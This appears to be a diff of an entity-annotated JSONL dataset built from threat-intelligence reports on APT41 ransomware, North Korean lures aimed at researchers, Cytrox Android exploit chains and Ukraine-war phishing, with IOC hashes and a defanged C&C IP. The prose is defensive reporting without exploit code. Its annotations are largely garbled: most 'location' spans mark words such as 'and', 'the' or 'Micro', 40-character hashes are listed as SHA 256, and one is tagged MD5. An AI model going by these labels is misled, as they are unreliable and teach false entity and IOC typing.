 {"id":13351,"text":"The next-stage payloads were CobaltStrike in this series of incidents.","entities":[],"relations":[],"Comments":[]}
-{"id":13352,"text":"After the loader and payload pairs were successfully installed, the attacker started poking around the environments with tools like password dumpers and HTTP tunneling tools — then the ransomware attacks were launched one month later.","entities":[{"id":41540,"label":"location","start_offset":17,"end_offset":20},{"id":41541,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":13353,"text":"More than just a single occurrence","entities":[{"id":41543,"label":"identity","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":13354,"text":"During the investigation, we discovered more incidents that are possibly related to the one discussed above.","entities":[{"id":41544,"label":"location","start_offset":60,"end_offset":63},{"id":41545,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":13355,"text":"We did this by checking the indicator overlap and the C&C infrastructure overlap.","entities":[{"id":41546,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":13356,"text":"Based on the distribution of the linked indicators, the attacker(s) appears to be interested in energy, retail, and telecom companies, mainly in Southeast Asia.","entities":[{"id":41547,"label":"location","start_offset":96,"end_offset":102},{"id":41548,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":13357,"text":"They mostly conduct espionage activities — lurking in the environments for a long period and packing the data that interested them.","entities":[{"id":41550,"label":"location","start_offset":77,"end_offset":81},{"id":41551,"label":"location","start_offset":89,"end_offset":92},{"id":41552,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":13358,"text":"They also seem to be updating the backdoors and toolsets they use.","entities":[{"id":41553,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":13359,"text":"Possible link to Chinese espionage","entities":[],"relations":[],"Comments":[]}
 {"id":13360,"text":"The C&C server 104[.]233[.]224[.]227 was hosted under a small hosting service with only 64 IPs under it.","entities":[{"id":41555,"label":"IPV4","start_offset":15,"end_offset":36},{"id":41556,"label":"location","start_offset":56,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":13361,"text":"The IP range was registered to an address in Inner Mongolia, China.","entities":[{"id":41558,"label":"location","start_offset":7,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":13362,"text":"The C&C server was abandoned several days after the incidents, and now the IP is hosting a Simplified-Chinese site.","entities":[{"id":41562,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":13363,"text":"Trend Micro Solutions","entities":[{"id":41564,"label":"location","start_offset":6,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":13364,"text":"Sophisticated hacking groups have versatile tools and are persistent threats.","entities":[{"id":41565,"label":"location","start_offset":50,"end_offset":53},{"id":41566,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":13365,"text":"Users should deploy more robust and proactive defenses to be adequately protected against these groups.","entities":[{"id":41567,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":13366,"text":"The following Trend Micro Solutions are recommended:  Trend Micro XDR for Users: Applies AI and analytics for earlier detection of threats across endpoints and other layers of the system Trend Micro Apex One™: Provides actionable insights, expanded investigative capabilities, and centralized visibility across the network.","entities":[{"id":41569,"label":"location","start_offset":36,"end_offset":39},{"id":41570,"label":"location","start_offset":60,"end_offset":65},{"id":41571,"label":"location","start_offset":92,"end_offset":95},{"id":41572,"label":"location","start_offset":156,"end_offset":159},{"id":41574,"label":"location","start_offset":277,"end_offset":280}],"relations":[],"Comments":[]}
-{"id":13367,"text":"Trend Micro™ Deep Discovery™ Email Inspector: Detects, blocks, and analyzes malicious email attachments through custom sandboxing and other detection techniques  ","entities":[{"id":41575,"label":"location","start_offset":6,"end_offset":11},{"id":41576,"label":"location","start_offset":63,"end_offset":66},{"id":41577,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
 {"id":13368,"text":"To help defend users against APT41 specifically, we have developed an assessment tool that can scan endpoints for file-based indicators collected from global intelligence sources.","entities":[{"id":41578,"label":"threat-actor","start_offset":29,"end_offset":34},{"id":41579,"label":"location","start_offset":81,"end_offset":85},{"id":41580,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":13369,"text":" Indicators of Compromise  SHA 256                                          Malware Family 2367326f995cb911c72baadc33a3155f8f674600 NTDSDump 75e49120a0238749827196cebb7559a37a2422f8 COLDLOCK 5b9b7fb59f0613c32650e8a3b91067079bcb2fc2 COLDLOCK e7aa8f55148b4548ef1ab9744bc3d0e67588d5b7 COLDLOCK ad6783c349e98c2b4a8ce0b5c9207611309adca7 COBALTSTRIKE 29cc0ff619f54068ce0ab34e8ed3919d13fa5ee9 COLDLOCK 2051f0a253eced030539a10ebc3e6869b727b8a9 COLDLOCK a2046f17ec4f5517636ea331141a4b5423d534f0 COLDLOCK 03589dffe2ab72a0de5e9dce61b07e44a983d857 COBALTSTRIKE 9d6feb6e246557f57d17b8df2b6d07194ad66f66 COLDLOCK 28d172e374eebc29911f2152b470528fc695662e PWDDUMPER 574fb6a497c032f7b9df54bc4669d1eb58d78fb4 ASPSHELL  *One of the sources for this table is the original report from the U.S. Justice Department     Tags  Latest News | APT & Targeted Attacks | Endpoints | Cyber Crime | Network | Articles, News, Reports","entities":[{"id":41581,"label":"SHA1","start_offset":91,"end_offset":131},{"id":41582,"label":"malware","start_offset":132,"end_offset":140},{"id":41583,"label":"SHA1","start_offset":141,"end_offset":181},{"id":41584,"label":"malware","start_offset":182,"end_offset":190},{"id":41585,"label":"SHA1","start_offset":191,"end_offset":231},{"id":41586,"label":"malware","start_offset":232,"end_offset":240},{"id":41587,"label":"SHA1","start_offset":241,"end_offset":281},{"id":41588,"label":"malware","start_offset":282,"end_offset":290},{"id":41589,"label":"MD5","start_offset":291,"end_offset":331},{"id":41590,"label":"SHA1","start_offset":345,"end_offset":385},{"id":41591,"label":"malware","start_offset":386,"end_offset":394},{"id":41592,"label":"SHA1","start_offset":395,"end_offset":435},{"id":41593,"label":"malware","start_offset":436,"end_offset":444},{"id":41594,"label":"SHA1","start_offset":445,"end_offset":485},{"id":41595,"label":"malware","start_offset":486,"end_offset":494},{"id":41596,"label":"SHA1","start_offset":495,"end_offset":535},{"id":41597,"label":"SHA1","start_offset":549,"end_offset":589},{"id":41598,"label":"malware","start_offset":590,"end_offset":598},{"id":41599,"label":"SHA1","start_offset":599,"end_offset":639},{"id":41600,"label":"SHA1","start_offset":650,"end_offset":690},{"id":41601,"label":"location","start_offset":702,"end_offset":705},{"id":41602,"label":"location","start_offset":773,"end_offset":780},{"id":41603,"label":"location","start_offset":816,"end_offset":819}],"relations":[],"Comments":[]}
-{"id":13370,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":41606,"label":"location","start_offset":59,"end_offset":67},{"id":41608,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":13371,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":41610,"label":"location","start_offset":19,"end_offset":23},{"id":41611,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":13372,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":41613,"label":"location","start_offset":51,"end_offset":59},{"id":41615,"label":"location","start_offset":117,"end_offset":125},{"id":41616,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":13373,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":41617,"label":"location","start_offset":93,"end_offset":99},{"id":41618,"label":"tools","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":13374,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":41620,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":13375,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":41621,"label":"location","start_offset":39,"end_offset":44},{"id":41622,"label":"location","start_offset":93,"end_offset":101},{"id":41623,"label":"location","start_offset":141,"end_offset":144},{"id":41624,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":13376,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":41627,"label":"location","start_offset":79,"end_offset":82},{"id":41628,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":13377,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":41629,"label":"location","start_offset":39,"end_offset":44},{"id":41630,"label":"location","start_offset":80,"end_offset":84},{"id":41631,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":13378,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":41632,"label":"location","start_offset":8,"end_offset":12},{"id":41633,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":13379,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":41635,"label":"location","start_offset":27,"end_offset":31},{"id":41636,"label":"location","start_offset":33,"end_offset":41},{"id":41637,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":13380,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":41638,"label":"location","start_offset":66,"end_offset":69},{"id":41639,"label":"location","start_offset":81,"end_offset":84},{"id":41640,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":13381,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":13382,"text":"Fake Security Company Website:     LinkedIn Profiles:    ","entities":[{"id":41641,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":13383,"text":"Email:    ","entities":[],"relations":[],"Comments":[]}
 {"id":13384,"text":"Attacker Owned Domains:       ","entities":[],"relations":[],"Comments":[]}
 {"id":13385,"text":"To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
-{"id":13386,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":41648,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":13387,"text":"This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.","entities":[{"id":41651,"label":"location","start_offset":42,"end_offset":46},{"id":41655,"label":"location","start_offset":100,"end_offset":103},{"id":41658,"label":"location","start_offset":208,"end_offset":218},{"id":41660,"label":"location","start_offset":306,"end_offset":309},{"id":41661,"label":"location","start_offset":362,"end_offset":366}],"relations":[],"Comments":[]}
-{"id":13388,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":41665,"label":"location","start_offset":52,"end_offset":58},{"id":41666,"label":"location","start_offset":110,"end_offset":113},{"id":41674,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":13389,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":41678,"label":"location","start_offset":94,"end_offset":98},{"id":41679,"label":"location","start_offset":110,"end_offset":117},{"id":41680,"label":"location","start_offset":174,"end_offset":182},{"id":41681,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":13390,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":41682,"label":"location","start_offset":120,"end_offset":124},{"id":41683,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":13391,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":41688,"label":"location","start_offset":107,"end_offset":110},{"id":41689,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":13392,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":41692,"label":"location","start_offset":59,"end_offset":65},{"id":41693,"label":"location","start_offset":84,"end_offset":87},{"id":41694,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":13393,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[{"id":41697,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":13394,"text":"The campaigns were limited — in each case, we assess the number of targets was in the tens of users.","entities":[{"id":41698,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":13395,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[{"id":41700,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":13396,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
-{"id":13397,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[{"id":41701,"label":"location","start_offset":51,"end_offset":54},{"id":41702,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":13398,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":41703,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":13399,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":41708,"label":"malware","start_offset":0,"end_offset":5},{"id":41709,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":13400,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[{"id":41710,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":13401,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":41712,"label":"location","start_offset":10,"end_offset":18},{"id":41716,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":13402,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":41717,"label":"location","start_offset":29,"end_offset":32},{"id":41718,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":13403,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":41719,"label":"location","start_offset":144,"end_offset":148},{"id":41721,"label":"location","start_offset":236,"end_offset":239},{"id":41722,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
-{"id":13404,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[{"id":41723,"label":"location","start_offset":20,"end_offset":30},{"id":41724,"label":"location","start_offset":80,"end_offset":83},{"id":41726,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":13405,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":41727,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":13406,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":13407,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":41731,"label":"location","start_offset":34,"end_offset":42},{"id":41732,"label":"location","start_offset":98,"end_offset":102},{"id":41734,"label":"location","start_offset":111,"end_offset":117},{"id":41735,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":13408,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":13409,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[{"id":41737,"label":"location","start_offset":79,"end_offset":82},{"id":41739,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":13410,"text":"This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.","entities":[{"id":41740,"label":"location","start_offset":5,"end_offset":10},{"id":41741,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":13411,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":41744,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":13412,"text":"We haven’t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":13413,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":13414,"text":"In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.","entities":[{"id":41746,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":13415,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":41750,"label":"location","start_offset":57,"end_offset":61},{"id":41753,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":13416,"text":"The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.","entities":[{"id":41754,"label":"location","start_offset":32,"end_offset":40},{"id":41755,"label":"location","start_offset":41,"end_offset":46},{"id":41756,"label":"location","start_offset":47,"end_offset":50},{"id":41757,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":13417,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[{"id":41759,"label":"location","start_offset":7,"end_offset":11},{"id":41762,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":13418,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":41764,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":13419,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":41766,"label":"location","start_offset":44,"end_offset":52},{"id":41767,"label":"location","start_offset":53,"end_offset":58},{"id":41768,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":13420,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[{"id":41770,"label":"location","start_offset":10,"end_offset":13},{"id":41771,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":13421,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":13422,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.","entities":[{"id":41772,"label":"location","start_offset":45,"end_offset":50},{"id":41773,"label":"location","start_offset":60,"end_offset":63},{"id":41776,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":13423,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
-{"id":13424,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":41779,"label":"location","start_offset":57,"end_offset":63},{"id":41780,"label":"location","start_offset":82,"end_offset":85},{"id":41781,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":13425,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":41782,"label":"location","start_offset":36,"end_offset":45},{"id":41783,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":13426,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[{"id":41784,"label":"location","start_offset":62,"end_offset":70},{"id":41785,"label":"location","start_offset":71,"end_offset":75},{"id":41786,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":13427,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":41787,"label":"location","start_offset":53,"end_offset":56},{"id":41788,"label":"tools","start_offset":71,"end_offset":77},{"id":41789,"label":"location","start_offset":78,"end_offset":81},{"id":41790,"label":"location","start_offset":82,"end_offset":90},{"id":41791,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":13428,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
-{"id":13429,"text":"Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":41797,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":13430,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":41799,"label":"location","start_offset":97,"end_offset":100},{"id":41800,"label":"location","start_offset":106,"end_offset":110},{"id":41801,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":41802,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":13431,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[{"id":41803,"label":"location","start_offset":75,"end_offset":81},{"id":41804,"label":"location","start_offset":125,"end_offset":128},{"id":41805,"label":"location","start_offset":129,"end_offset":132},{"id":41806,"label":"location","start_offset":133,"end_offset":136},{"id":41807,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":13432,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":41811,"label":"location","start_offset":55,"end_offset":58},{"id":41814,"label":"location","start_offset":133,"end_offset":136},{"id":41815,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":13433,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":41816,"label":"location","start_offset":22,"end_offset":25},{"id":41817,"label":"location","start_offset":42,"end_offset":45},{"id":41818,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":13434,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
-{"id":13435,"text":"We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":41821,"label":"location","start_offset":21,"end_offset":24},{"id":41822,"label":"location","start_offset":41,"end_offset":48},{"id":41823,"label":"location","start_offset":103,"end_offset":109},{"id":41824,"label":"location","start_offset":110,"end_offset":116},{"id":41825,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":13436,"text":"Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.","entities":[{"id":41826,"label":"location","start_offset":29,"end_offset":37},{"id":41827,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":13437,"text":"The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.","entities":[{"id":41834,"label":"location","start_offset":158,"end_offset":161},{"id":41837,"label":"location","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]}
 {"id":13438,"text":"The data is then exfiltrated via email to a compromised email account.","entities":[],"relations":[],"Comments":[]}
 {"id":13439,"text":"Malware samples:","entities":[],"relations":[],"Comments":[]}
 {"id":13440,"text":"TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":13441,"text":"Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.","entities":[{"id":41844,"label":"location","start_offset":111,"end_offset":114},{"id":41845,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":13442,"text":"Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.","entities":[{"id":41846,"label":"location","start_offset":75,"end_offset":78},{"id":41847,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":13443,"text":"When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.","entities":[{"id":41848,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
 {"id":13444,"text":"Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.","entities":[{"id":41854,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":41856,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":13445,"text":"The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":41858,"label":"location","start_offset":31,"end_offset":34},{"id":41859,"label":"location","start_offset":72,"end_offset":75},{"id":41860,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":13446,"text":"The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and\/or DOCs hosted on Google Drive and Microsoft One Drive.","entities":[{"id":41861,"label":"location","start_offset":32,"end_offset":35},{"id":41862,"label":"attack-pattern","start_offset":111,"end_offset":119},{"id":41864,"label":"location","start_offset":208,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":13447,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":41867,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":13448,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":41868,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":41870,"label":"location","start_offset":129,"end_offset":132},{"id":41871,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":13449,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":41872,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":41873,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":41874,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":41876,"label":"location","start_offset":142,"end_offset":145},{"id":41877,"label":"location","start_offset":146,"end_offset":149},{"id":41879,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]}
 {"id":13450,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":41880,"label":"location","start_offset":5,"end_offset":13},{"id":41883,"label":"attack-pattern","start_offset":129,"end_offset":137},{"id":41884,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":13451,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
-{"id":13452,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":41885,"label":"location","start_offset":45,"end_offset":53},{"id":41886,"label":"location","start_offset":54,"end_offset":57},{"id":41888,"label":"location","start_offset":65,"end_offset":69},{"id":41889,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":13453,"text":"Both pages from this campaign are shown below.","entities":[{"id":41891,"label":"location","start_offset":21,"end_offset":29},{"id":41892,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":13454,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":41896,"label":"attack-pattern","start_offset":52,"end_offset":60},{"id":41897,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":13455,"text":"The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.","entities":[{"id":41901,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
